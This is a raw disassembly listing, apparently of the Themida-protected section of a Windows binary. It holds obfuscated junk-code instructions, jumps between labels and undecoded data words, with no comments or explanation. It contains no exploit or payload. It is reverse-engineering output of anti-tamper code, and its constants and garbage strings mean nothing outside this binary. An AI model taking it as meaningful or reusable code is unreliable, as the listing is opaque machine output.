24248BFFh, 68242489h, 6A5Ah dd 0BE243489h, 4, 4247401h, 2434FF5Eh, 4701E9h db 0 ; --------------------------------------------------------------------------- loc_564679: ; CODE XREF: Themida_:0056CE51j mov esi, esp push ebx mov ebx, 5FA550FDh jmp loc_56B599 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0C865E9h, 242C8900h, 0D3E8E9h, 5DA4B900h, 0D9F72288h dd 0FDD2E991h, 585FFFFFh, 5105E2C1h, 5C1244B9h, 8BEE9E8h dd 0EA810000h, 12FACDDCh, 0BFF4E9h, 5AD02900h, 158C389h dd 0D36CE9DDh, 4BD0000h, 5000000h, 0B470314h, 142DE801h dd 0E90B4703h, 536Eh, 4C781h, 3C870000h, 0C0835C24h, 24043304h dd 33240431h, 0FF5C2404h, 0B89DE930h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564702: ; CODE XREF: Themida_:0056D929j neg eax add eax, 0B81F5B41h xor edx, eax pop eax add ebp, 15A50815h sub ebp, edx sub ebp, 15A50815h pop edx or ebp, 68B76A6Fh sub ebp, 7FBDFF6Fh and eax, ebp jmp loc_571EE1 ; --------------------------------------------------------------------------- dw 0F581h dd 9F16EFB0h, 0E95DEA01h, 0FFFFEABCh, 9E311AB9h, 22E1E97Bh db 2 dup(0) word_564746 dw 81ACh ; DATA XREF: Themida_:0055FEB4o dd 4ECh, 240C8900h, 0E1C053B1h, 50E9D002h, 0CF88FC88h dd 79ABE9h, 6E8C100h, 6807E0C1h, 0 dd 8405E9h db 0 ; --------------------------------------------------------------------------- loc_564771: ; CODE XREF: Themida_:0057390Cj add esp, 4 push 5499h mov [esp], esi mov esi, 400h jmp loc_564163 ; --------------------------------------------------------------------------- loc_564786: ; CODE XREF: Themida_:00569DD9j sub ebp, 4 xchg ebp, [esp] jmp loc_5734C1 ; --------------------------------------------------------------------------- dd 56B8505Bh, 1167A2Ch, 0FD2958C5h, 24DEE9h, 0CAF18100h dd 3160212Bh, 0E95659CFh, 0FFFFCC6Ah, 555EF131h, 0CB84DDBDh dd 5DE90187h, 2D95ED81h, 0CD015752h, 2D95C581h, 0E9595752h dd 0C539h, 8F180h, 0FA0859CFh, 71F2805Bh, 0FFC4D9E9h, 242489FFh dd 50DE955h, 0E9890000h, 0FD68525Dh, 5A76AD46h, 8780E9h dd 241C8900h, 0C3815B54h, 4, 4CAD68h, 24348900h, 96B95157h dd 8110834Dh, 0B27041C9h, 81D1F759h, 4C822CF1h, 59CF89A6h dd 815FFE89h, 3C1DC4EBh, 0E9F3012Dh, 6293h, 822E75B9h dd 3A2BE948h, 0BE560000h, 53EC48E1h, 277DF681h, 0EC815EE0h dd 4, 0B9240C89h, 68FD001Ah, 8670E949h, 40680000h, 5F65B80Eh dd 52E0B850h, 1E2D580Eh, 2D218302h, 73C5500h, 3B4C2625h dd 22242D25h, 0CD05E2C5h, 0C12A9468h, 0E0C103E8h, 0E9D0F706h dd 0A281h, 0D9E9515Ch, 8100000Eh, 2ECh, 4896600h, 2806B024h dd 0E95866C1h, 0ACA3h, 2F9168h, 0A647E900h, 0C330000h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_56EA2E ; --------------------------------------------------------------------------- dw 0E955h dd 1E3Ah, 4246C81h, 44145098h, 4247429h, 4244481h, 44145098h dd 2404815Eh, 5248226Bh, 81240429h, 226B242Ch, 57535248h dd 3080B951h, 0E98123B7h, 6DE3A1h, 0F650E9h, 24048900h dd 4B8h, 24440100h, 2434FF04h, 0FFDC28E9h db 0FFh ; --------------------------------------------------------------------------- loc_564919: ; CODE XREF: Themida_:00564E24j sub esi, 4F1B41C6h pop ebx add esi, 4 xchg esi, [esp] mov esp, [esp] sub bl, 5Fh xor al, bl pop ebx xor bl, al movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push edi mov edi, esp push edx mov edx, 0A8857EEh neg edx neg edx push edi mov edi, 63FD4D87h jmp loc_565EB9 ; --------------------------------------------------------------------------- loc_564953: ; CODE XREF: Themida_:00565026j add eax, 4 push edi jmp loc_56F91E ; --------------------------------------------------------------------------- loc_56495E: ; CODE XREF: Themida_:00571DECj push ecx sub dword ptr [esp], 780803FBh push dword ptr [esp] mov eax, [esp] add esp, 4 push 417Bh mov [esp], edi push esp pop edi push ebp mov ebp, 2ECE7B60h or ebp, 363D0377h push edi mov edi, 0FFFFFFFFh sub ebp, edi pop edi sub ebp, 1 shr ebp, 7 dec ebp push eax mov eax, 4D197352h sub eax, 0DE75815h sub eax, 404E6C4Dh shr eax, 3 xor eax, 28183269h xor eax, 0C84646B8h jmp loc_5612BA ; --------------------------------------------------------------------------- dw 3431h dd 24343324h, 6856535Ch, 338D7560h, 8124348Bh, 4C4h, 0ADF68100h dd 0C1434871h, 0F68107EEh, 0AFBE536h, 0C35EE9h, 55CB8700h dd 7E1130BDh, 15ED815Dh, 816BDE21h, 785C27F5h, 3EDC148h dd 8599E956h, 0C6830000h, 0B4B5E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564A0A: ; CODE XREF: Themida_:0056A000j xchg ebp, [esp] pop esp jmp loc_5731F9 ; --------------------------------------------------------------------------- db 8Bh dd 8951242Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h, 0FFF111E9h dd 80F100FFh, 0E95AC7C1h, 0FFFFC458h, 5DE9F701h, 0B70000CAh dd 2AEF8007h, 0D9F4E9h db 0 ; --------------------------------------------------------------------------- loc_564A49: ; CODE XREF: Themida_:0056FB07j mov [esp], edx mov edx, 748E6EE8h add edx, 231966C3h add edx, 72F409CEh jmp loc_56FF6E ; --------------------------------------------------------------------------- loc_564A62: ; CODE XREF: Themida_:0056CE25j pop esp jmp loc_56CDFE ; --------------------------------------------------------------------------- loc_564A68: ; CODE XREF: Themida_:005747DDj mov [esp], esp push eax jmp loc_56426E ; --------------------------------------------------------------------------- loc_564A71: ; CODE XREF: Themida_:00572AE1j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebp push 319Bh mov [esp], ecx push 744Fh mov [esp], esi mov esi, 76446D97h mov ecx, esi pop esi sub ecx, 6CAB70D6h and ecx, 436A0E21h push esi push edx mov edx, 6C235ED3h mov esi, 6C235ED2h jmp loc_567856 ; --------------------------------------------------------------------------- loc_564AB3: ; CODE XREF: Themida_:00574AE1j pop ebp push dword ptr [esp] pop edi add esp, 4 push 2480h jmp loc_56B1F3 ; --------------------------------------------------------------------------- db 81h, 0C5h, 27h dd 1353A09h, 0E68956D5h, 4C681h, 0EE810000h, 4, 0FFF1C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_564AE1: ; CODE XREF: Themida_:0056C5A1j add edx, ebp sub edx, 51A900D5h mov ebp, [esp] add esp, 4 xor edx, 2B3127ABh or eax, edx pop edx push esi mov esi, 9AA0393Eh add eax, esi pop esi sub eax, edi push dword ptr [esp] jmp loc_57475F ; --------------------------------------------------------------------------- byte_564B0B db 53h ; DATA XREF: Themida_:0055FE2Co dd 0BA52E389h, 4, 35A5EB81h, 0EB8169C8h, 24F21996h, 0C381D301h dd 24F21996h, 96A4E9h, 240C8900h, 15E9E188h, 83FFFFCBh dd 348704EEh, 4895C24h, 0FE80B424h, 80DCF6C4h, 0E4C0F3F4h dd 413CE908h, 34890000h, 111CE924h, 0EC810000h, 4, 405CE9h dd 241C8B00h, 4C483h, 45A66D7h, 0E9A12CF4h, 0D2CCh, 4C481h dd 0D0300000h, 0E953525Ah, 12A5h, 3346C181h, 0E90151BAh dd 3346E981h, 25E951BAh, 660000D5h, 1CE95251h, 0B8FFFFC4h dd 5D917D94h, 6A200540h, 45E916CAh, 8100007Bh, 384420F7h dd 0B951471Bh, 35E118Ah, 7A98E9h, 4EC8100h, 0E9000000h dd 0FFFFE96Ah dword_564BD0 dd 592434FFh, 438368h, 242C8900h, 8904EC83h, 4832424h ; DATA XREF: Themida_:0055FD5Co dd 2C8B0424h, 16076824h, 2C890000h, 0E9E58924h, 100E5h dd 0C181495Bh, 0FFFFFFFFh, 1747F181h, 0E98110CEh, 48B97936h dd 0C181D1F7h, 0B7A6AA14h, 8359CF01h, 13E904ECh db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_564C1F: ; CODE XREF: Themida_:0057360Dj xor ecx, edx jmp loc_5748A1 ; --------------------------------------------------------------------------- dw 0E581h dd 2DCF11E4h, 8107E5C1h, 2F72E8EDh, 5EDC14Ah, 0E3F5814Dh dd 0E900B2C8h, 836Ah, 4BF575Bh, 1000000h, 0E9505FFBh, 5C28h dd 81E38953h, 4C3h, 4C38300h, 0E9241C87h, 0FFFFE4A4h, 0EF07E95Ah dd 3C31FFFFh, 243C3324h, 8924248Bh, 4832424h, 2C8B0424h dd 37476824h, 3C890000h, 56E78924h, 4B951h, 0CE890000h dd 5EF70159h, 0FF7BD55h, 0ED81233Ah, 233A0FF3h, 875DEF01h dd 1EE9243Ch, 81000053h, 927267EEh, 1F685F1Ch, 0E9000021h dd 0FFFFC9DEh, 15EF029h, 5C3205F0h, 0BF57412Dh, 2D4849A7h dd 0C657AF05h, 0EA20E917h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564CDA: ; CODE XREF: Themida_:0056410Ej push ebp push 596370AAh pop ebp xor ebp, 5C351C55h mov edx, ebp pop ebp sub edx, 1034402Fh xor edx, 0F5222CD4h jmp loc_5710C3 ; --------------------------------------------------------------------------- db 0BDh dd 4, 4246C01h, 0FFDA14E9h db 0FFh ; --------------------------------------------------------------------------- loc_564D09: ; CODE XREF: Themida_:0056B256j mov edi, [esp] jmp loc_568EBB ; --------------------------------------------------------------------------- aRs9g db 'Ré9G',0 db 0 ; --------------------------------------------------------------------------- loc_564D17: ; CODE XREF: Themida_:005733E3j mov edi, 0BA837851h sub edi, esi pop esi shl edi, 1 jmp loc_575481 ; --------------------------------------------------------------------------- loc_564D26: ; CODE XREF: Themida_:00566C66j push ebp mov ebp, 4 push ecx mov ecx, 2B40229Ah not ecx and ecx, 46AA36FDh xor ecx, 5FE77DAAh jmp loc_56E70E ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0D324248Bh, 0E99C2404h, 0FFFFB24Bh, 0D143D3F7h, 0C3814BE3h dd 28205878h, 0A9B5C381h, 0F5E9C1CBh, 2D0000E3h, 22C44741h dd 743D032Dh, 0ACA9E947h, 0A42D0000h, 2966744Dh, 4DA405E8h dd 83536674h, 0C8904ECh, 400B924h, 0BFE94498h, 5DFFFFF7h dd 0FFDDB3E9h, 32E181FFh, 53584C7Eh, 77C2E9h, 0B1F1E900h dd 0ECE9FFFFh, 5FFFFB1h, 4, 405h, 24048700h, 5A3DE9h, 242C8900h dd 90868h, 24348900h, 6FB7BB53h, 0E38157B4h, 480513F3h dd 0D102E3C1h, 0BB9DE9EBh, 0C9FE0000h, 0C0E3C180h, 0C18006E1h dd 0EEF180CFh, 94E9C800h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DFB: ; CODE XREF: Themida_:00565966j mov ebp, 2F3B4242h push edi mov edi, 33EC42DAh mov ebx, 0BD0CF63Bh xor ebx, edi pop edi sub ebx, ebp mov ebp, [esp] add esp, 4 push ecx jmp loc_5644AA ; --------------------------------------------------------------------------- loc_564E1C: ; CODE XREF: Themida_:005614E9j add esi, 4F1B41C6h add esi, ebx jmp loc_564919 ; --------------------------------------------------------------------------- loc_564E29: ; CODE XREF: Themida_:00570061j pop esp xchg ecx, [esp] pop esp mov esi, [esp] jmp loc_56F806 ; --------------------------------------------------------------------------- dw 7EBFh dd 4755C902h, 0FFF19FE9h, 2EBC1FFh, 0E45FF381h, 0EF812674h dd 53D93622h, 0F0E9DF29h, 81000087h, 4C7h, 243C8700h, 2C3815Ch dd 53000000h, 42474FFh, 0E05FE95Bh, 0F7810000h, 76C025E4h dd 0FFEAC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_564E7D: ; CODE XREF: Themida_:0056A4E7j pop dword ptr [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, esp push edi mov edi, 4 jmp loc_567CE8 ; --------------------------------------------------------------------------- loc_564E97: ; CODE XREF: Themida_:00562F73j xor esi, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 sub edi, 4287A2Dh add edi, ebp jmp loc_564157 ; --------------------------------------------------------------------------- aSai db '[éí¨',0 align 2 dw 0EC83h dd 3E72E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564EC6: ; CODE XREF: Themida_:00567021j pop esi jmp loc_569C48 ; --------------------------------------------------------------------------- dd 4C53F581h, 0D368254Bh, 89000064h, 52532414h, 0B846C0BAh dd 5AD3895Ch, 76ECE9h, 96520500h, 0C2890DA8h, 0AFCA8158h dd 8174B24Bh, 5A38A0C2h, 9DBB535Ah, 81D75988h, 0EE356DC2h dd 81DA2904h, 0EE356DEAh, 241C8B04h, 104C483h, 1C335AD3h dd 241C3124h, 8B241C33h, 4EE92424h, 280000D5h, 6BE958C3h dd 66000073h, 28C0B151h, 0E95966C8h, 0C95Ch, 4C281h, 54530000h dd 0D37AE95Bh, 0F6810000h, 0AD1BC4DDh, 2D5EF201h, 67C76322h dd 2205D001h, 5A67C763h, 0E955E801h, 41D8h ; --------------------------------------------------------------------------- loc_564F6C: ; CODE XREF: Themida_:0056D354j mov ebp, edi pop edi jmp loc_56031C ; --------------------------------------------------------------------------- dd 159CA01h, 5115E9D7h, 0F6810000h, 5AB445FAh, 24E6EE81h dd 0F321EC69h, 0FFB440E9h db 0FFh ; --------------------------------------------------------------------------- loc_564F91: ; CODE XREF: Themida_:0056B469j sub [esp], esi jmp loc_57157C ; --------------------------------------------------------------------------- db 68h, 18h, 62h dd 34890000h, 4EC8124h, 0E9000000h, 0FFFFDF12h ; --------------------------------------------------------------------------- loc_564FAC: ; CODE XREF: Themida_:005610E8j xor edi, 1D5FFFDAh add ebx, edi pop edi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push edi push ebp mov ebp, 4A0C6E0Ah push ebx push 12330013h pop ebx add ebx, 184927D2h and ebx, 223D3B49h inc ebx or ebx, 50D60E62h xor ebx, 38F2416Ch xor ebp, ebx pop ebx mov edi, ebp pop ebp add ecx, edi pop edi xchg ecx, [esp] pop esp push esi mov esi, esp push ebp push ebx jmp loc_560B21 ; --------------------------------------------------------------------------- dd 0E92434FFh, 4D27h ; --------------------------------------------------------------------------- loc_565008: ; CODE XREF: Themida_:0057355Cj push 5577h mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_56668F ; --------------------------------------------------------------------------- loc_565023: ; CODE XREF: Themida_:0056E983j push eax mov eax, esp jmp loc_564953 ; --------------------------------------------------------------------------- loc_56502B: ; CODE XREF: Themida_:005748E8j mov ah, 31h mov dh, 0D7h add dh, ah pop eax push edx mov dh, 6Dh shr dh, 1 not dh jmp loc_560374 ; --------------------------------------------------------------------------- dw 6856h dd 68A221ABh, 8324348Bh, 5EE904C4h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_56504F: ; CODE XREF: Themida_:005601FEj sub esp, 4 mov [esp], edi jmp loc_560038 ; --------------------------------------------------------------------------- dw 0C683h dd 1DE95104h, 50000011h, 405E089h, 5000000h, 4, 5C240487h dd 351E68h, 240C8900h, 4458BE56h, 0F1893D07h, 0E924348Bh dd 100B1h ; --------------------------------------------------------------------------- loc_56508C: ; CODE XREF: Themida_:00560B2Bj xor ebp, ebx pop ebx shl ebp, 8 and ebp, 7EAA6CE7h push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 sub ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], esi push ecx push edx mov edx, 0AE4666Ch jmp loc_57123E ; --------------------------------------------------------------------------- loc_5650C3: ; CODE XREF: Themida_:00574F3Bj pop edx jmp loc_563A66 ; --------------------------------------------------------------------------- dd offset loc_56A068 align 2 dw 2489h dd 24048124h, 4, 5E2434FFh, 7E1BE956h, 0E0680000h, 89000037h dd 83BF243Ch, 814AA567h, 3F03E6C7h, 0E9D7F77Bh, 169Fh dd 68241C89h, 3032AD5Fh, 81241C8Bh, 4C4h, 0C177E900h, 895C0000h dd 9468241Ch, 5B635606h, 8904EC83h, 0E955243Ch, 0FFFFED82h dd 0DD5FC381h, 0DA2929A1h, 0BCC2815Bh, 1389E1Ch, 0F7DEE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56513E: ; CODE XREF: Themida_:00571EAEj push ebp push 0AC7A34h pop ebp not ebp sub esp, 4 jmp loc_5674CD ; --------------------------------------------------------------------------- db 0FEh dd 2FF680C6h, 0E910C680h, 906Ah, 4EE81h, 34330000h, 24343124h dd 8B243433h, 3C892424h, 6F62BF24h, 0C14F5593h, 0F78107EFh dd 86F6C0Ah, 0B530C781h, 0FD89F73Bh, 7BFBE9h, 0E9F02900h dd 33CBh, 515DE931h, 33AFE9h, 0CE874900h, 561AC681h, 0F1295D82h dd 168AE9h db 0 ; --------------------------------------------------------------------------- loc_5651AD: ; CODE XREF: Themida_:0056FD42j pop esi and ebx, ebp pop ebp xor ebx, 2C430C84h add edi, ebx pop ebx push esi mov esi, 5DD3089Ah shr esi, 8 neg esi sub esi, 0FFA22CF4h sub edi, esi pop esi push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], esi push 37F0h mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_562EB3 ; --------------------------------------------------------------------------- dw 48Fh aSii db '$éë‰',0 align 2 dw 3487h dd 0A516E924h, 525D0000h, 56243481h, 8B4C4411h, 0C4832434h dd 56F68104h, 0E94C4411h, 715Ch ; --------------------------------------------------------------------------- loc_56521C: ; CODE XREF: Themida_:0056F6ADj add esp, 4 pop dword ptr [esp] pop esp jmp loc_5635A6 ; --------------------------------------------------------------------------- dd 6BFAE981h, 0F1815972h, 0A270F8Eh, 5059CA89h, 8150D089h dd 43E92404h, 63E95DAFh, 8900008Dh, 0BE5EE9E5h, 48F0000h dd 0A00FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565256: ; CODE XREF: Themida_:00565B56j push esi mov esi, 78A40990h push 3FF0h mov [esp], ecx push 72B3705Fh pop ecx push ebx push edi jmp loc_565383 ; --------------------------------------------------------------------------- db 89h, 0FDh, 5Fh dd 4E5C14Dh, 0FFB5FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56527D: ; CODE XREF: Themida_:00566796j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp retn ; --------------------------------------------------------------------------- dd offset loc_5663E8+1 align 10h dd 0F833F281h, 0D789F203h, 0C1BD555Ah, 29640547h, 242C8BE8h dd 81E78957h, 4C7h, 4C78300h, 4932E9h, 24148B00h, 4C481h dd 2C870000h, 24248B24h, 0FF2434FFh, 83592434h, 685304C4h dd 4610h, 24048F54h, 8904EC83h, 4BB241Ch, 1000000h, 5B04245Ch dd 83241C8Bh, 28E904C4h, 0F700003Dh, 53592414h, 96A3E9h dd 68505100h, 33FB1D44h, 412D4058h, 8933FB1Dh, 0CF0158C1h dd 0CBBD5559h, 577BCB52h, 0A5155BFh, 5FFD2176h, 0C581E5D1h dd 0FFFFFFFFh, 0A085F581h, 7568E414h, 89000057h, 80E9241Ch dd 8300002Dh, 545704C4h, 1C91E95Fh, 31590000h, 2B685DEEh dd 89000028h, 0E950242Ch, 481Dh, 42474FFh, 3BF8E9h db 0 ; --------------------------------------------------------------------------- loc_565361: ; CODE XREF: Themida_:0056B7A1j push 467967BBh mov ebx, [esp] add esp, 4 or ebx, 4E224C46h shl ebx, 2 sub ebx, 5C75120h jmp loc_563498 ; --------------------------------------------------------------------------- loc_565383: ; CODE XREF: Themida_:0056526Cj mov edi, 3F8370BDh or edi, 73A283Dh inc edi jmp loc_56E561 ; --------------------------------------------------------------------------- dd 0BF243C89h, 4C5A2B49h, 0C15FFD01h, 0F58108EDh, 5CC71919h dd 0FFB412E9h, 82BB53FFh, 0E963825Ah, 0EB11h ; --------------------------------------------------------------------------- loc_5653B8: ; CODE XREF: Themida_:00560FDAj sub ebp, 568F0388h mov esi, ebp pop ebp or esi, 3C3169D6h xor esi, 468C2A9Bh push ebp jmp loc_5718C0 ; --------------------------------------------------------------------------- db 66h dd 5EFC059h, 89F780h, 241C8BF8h, 8104C483h, 4ECh, 241C8900h dd 3C4C68h, 0C161E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5653F6: ; CODE XREF: Themida_:00573808j pop ecx jmp loc_5662E9 ; --------------------------------------------------------------------------- dd 9689C581h, 0EA890F2Eh, 0B6D6B95Dh, 0D1012BD7h, 0FFD64AE9h dd 240C89FFh, 2248CDB9h, 0E9814165h, 71BA4A26h, 2602E9h dd 81E6D100h, 111B2FEEh, 5EF389B8h, 555BD801h, 2622D6BDh dd 21CFE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56543E: ; CODE XREF: Themida_:0056581Ej add ebp, 8293D3BCh xor ecx, ebp pop ebp mov ebp, ecx pop ecx and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_562EEF push 569Fh jmp loc_56049F ; --------------------------------------------------------------------------- loc_565464: ; CODE XREF: Themida_:005687DBj mov edi, [esp] add esp, 4 jmp loc_563714 ; --------------------------------------------------------------------------- dw 0B652h dd 0F6DEF67Fh, 0AEF680D6h, 5AF000h, 0E9D02CF0h, 0FFFFC19Bh dd 8324248Bh, 39E904ECh, 810000A3h, 4C6h, 0F564E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56549E: ; CODE XREF: Themida_:00572763j sub dword ptr [esp+4], 2D1D6AF0h push dword ptr [esp] jmp loc_56D33B ; --------------------------------------------------------------------------- dw 2AB8h dd 8125B51Ch, 496BD2C2h, 0D412E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5654BE: ; CODE XREF: Themida_:005672BCj push dword ptr [esp] mov esi, [esp] push 1F70h jmp loc_5716B7 ; --------------------------------------------------------------------------- loc_5654CE: ; CODE XREF: Themida_:0056B3EAj mov [esp], eax push 2ED9h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] xor ecx, ebp xor ebp, ecx xor ecx, ebp xchg eax, ebp push eax not dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push 5418h jmp loc_567BE6 ; --------------------------------------------------------------------------- loc_565502: ; CODE XREF: Themida_:00561EF8j pop dword ptr [esp] pop esp jmp loc_560CF1 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 0BF575200h, 2, 24E9FA89h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56551F: ; CODE XREF: Themida_:0056DE5Fj neg edx not edx xor edx, 1D922FA2h add esi, edx pop edx add esi, 4 xchg esi, [esp] jmp loc_568FB0 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4BF57h, 0FE290000h, 0FFBAA8E9h db 0FFh ; --------------------------------------------------------------------------- loc_56554D: ; CODE XREF: Themida_:00567198j xor ecx, esi jmp loc_567057 ; --------------------------------------------------------------------------- dd 575DEE29h, 2D40F6BFh, 5FFE2904h, 45CC681h, 0BF57225Fh dd 69C36732h, 5CB5EE81h, 0FE0100B3h, 5CB5C681h, 84E900B3h dd 0BDFFFFE6h, 2B1E392Bh, 7A10F581h, 0CD813220h, 463A6986h dd 415FF581h, 51520AB4h, 0E951E989h, 100h ; --------------------------------------------------------------------------- loc_5655A0: ; CODE XREF: Themida_:0056373Fj add esp, 4 jmp loc_560E40 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F58h, 0C8B60F5Ch, 164768h, 240C8900h dd 0B091E9h, 5D535E00h, 7FFE2D5Bh, 38052661h, 53C2B79h dd 655B651Ah, 45461B05h, 2DE80115h, 1545461Bh, 0DE31E953h dd 0EC81FFFFh, 4, 0FFCE0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5655F1: ; CODE XREF: Themida_:005662EBj push dword ptr [esp] jmp loc_56880E ; --------------------------------------------------------------------------- db 29h, 0D3h, 5Ah dd 34FFDA29h, 0C4815B24h, 4, 77C0BD55h, 0EA011813h, 28B2E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_565616: ; CODE XREF: Themida_:00566EF9j push 2D17h jmp loc_56210B ; --------------------------------------------------------------------------- aZs2a db 'Zé2a',0 align 2 loc_565626: ; CODE XREF: Themida_:00572DACj pop edx jmp loc_571E91 ; --------------------------------------------------------------------------- aSg db '^é£:',0 align 2 loc_565632: ; CODE XREF: Themida_:005691AFj sub esp, 4 jmp loc_567E4A ; --------------------------------------------------------------------------- loc_56563A: ; CODE XREF: Themida_:0056BD5Cj mov [esp], ebp push 5FBA31A4h push dword ptr [esp] pop ebp jmp loc_56622C ; --------------------------------------------------------------------------- loc_56564B: ; CODE XREF: Themida_:00574307j mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5734B3 ; --------------------------------------------------------------------------- loc_56565A: ; CODE XREF: Themida_:0057266Aj mov ebx, 23105BCFh add edx, ebx pop ebx push ecx push esp jmp loc_568537 ; --------------------------------------------------------------------------- db 81h, 0EAh, 49h dd 8125C363h, 0E1B49C2h, 0A925E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56567A: ; CODE XREF: Themida_:00573260j add esi, 48C03077h pop ebx and ecx, esi mov esi, [esp] jmp loc_56C83E ; --------------------------------------------------------------------------- loc_56568B: ; CODE XREF: Themida_:0056FEF8j mov eax, [esp] jmp loc_5639E7 ; --------------------------------------------------------------------------- loc_565693: ; CODE XREF: Themida_:0056099Cj add esp, 2 xor dl, 99h mov bl, dl jmp loc_569FEE ; --------------------------------------------------------------------------- dd 9F240481h, 0E957472Dh, 0FFFFEF19h, 242C3166h, 0FDB0E9h db 0 ; --------------------------------------------------------------------------- loc_5656B5: ; CODE XREF: Themida_:0056A181j xor eax, edx push esi mov esi, 264438C1h push ebp jmp loc_56788D ; --------------------------------------------------------------------------- db 0BDh dd 38690BB6h, 0BB4F581h, 0E9013869h, 240C875Dh, 0FFAF6AE9h dd 58C789FFh, 8101C783h, 0FFFFFFC7h, 81DFF7FFh, 93A247F7h dd 5FF931D7h, 9463E9h, 815D5400h, 4C5h, 4C58100h, 87000000h dd 535C242Ch, 3335B968h, 94E95B1Fh, 660000C5h, 0E9240C8Bh dd 4F94h ; --------------------------------------------------------------------------- loc_56571C: ; CODE XREF: Themida_:0056BA44j push 5A2Dh jmp loc_5605F5 ; --------------------------------------------------------------------------- loc_565726: ; CODE XREF: Themida_:005604EDj add ebp, eax add ebp, 578633E3h pop eax jmp loc_56EF17 ; --------------------------------------------------------------------------- loc_565734: ; CODE XREF: Themida_:0056F1CAj mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp push esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56B3E0 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 66E1F766h, 662F7C68h, 0E9241489h, 695Ah, 38568h, 24048900h dd 69501EB8h, 99E95264h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565787: ; CODE XREF: Themida_:00572438j or eax, eax jz loc_570135 push dword ptr [edi+28h] jmp loc_57485E ; --------------------------------------------------------------------------- db 59h dd 15FFB89h, 5B04245Ch, 74EDB850h, 0EBE920CDh db 0EBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5657AB: ; CODE XREF: Themida_:0056102Ej mov ebx, 73665EFFh shr ebx, 2 shl ebx, 4 jmp loc_56FD5E ; --------------------------------------------------------------------------- aIPst db 'ˆÚ[Pét<',0 align 4 dd 7ACFC381h, 91E93A13h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5657CF: ; CODE XREF: Themida_:0056C924j push edi push esi jmp loc_56158E ; --------------------------------------------------------------------------- dw 8957h dd 4C781E7h, 0E9000000h, 6F96h ; --------------------------------------------------------------------------- loc_5657E4: ; CODE XREF: Themida_:00567495j pop esp jmp loc_57387C ; --------------------------------------------------------------------------- dw 0D9F6h dd 300CB353h, 0F1805BD9h, 0C88850ACh, 8B58C788h, 0C481240Ch dd 4, 0BC85E951h, 0C4810000h, 4, 0E9D92966h, 25F4h ; --------------------------------------------------------------------------- loc_565818: ; CODE XREF: Themida_:00567B91j xor ebp, 7EF42466h jmp loc_56543E ; --------------------------------------------------------------------------- db 83h dd 143304EAh, 24143124h, 5C241433h, 0E9241489h, 0A5ACh ; --------------------------------------------------------------------------- loc_565838: ; CODE XREF: Themida_:00562EF9j mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_563F70 ; --------------------------------------------------------------------------- db 53h, 0BBh, 0CAh dd 0E9042035h, 8410h, 596DBF57h, 0BB537585h, 48ED28B1h dd 0C107E3C1h, 575106E3h, 0CF57E9h, 2414F700h, 0C351E9h dd 1ACA8100h, 8172B53Fh, 720372EAh, 0CBDAE92Ch, 4BAFFFFh dd 0E9229A05h, 0B765h ; --------------------------------------------------------------------------- loc_565890: ; CODE XREF: Themida_:0057046Fj pop dword ptr [esp] mov esp, [esp] jmp loc_5752AB ; --------------------------------------------------------------------------- aZSsk db 'Z)ÃéèŠ',0 dw 8000h dd 0F38094F3h, 0E9C004D6h, 45E5h ; --------------------------------------------------------------------------- loc_5658B0: ; CODE XREF: Themida_:00566C7Ej push 48AB65C7h mov ebp, [esp] push edi mov edi, esp jmp loc_563216 ; --------------------------------------------------------------------------- loc_5658C0: ; CODE XREF: Themida_:00571C44j mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi mov esi, esp add esi, 4 jmp loc_56E855 ; 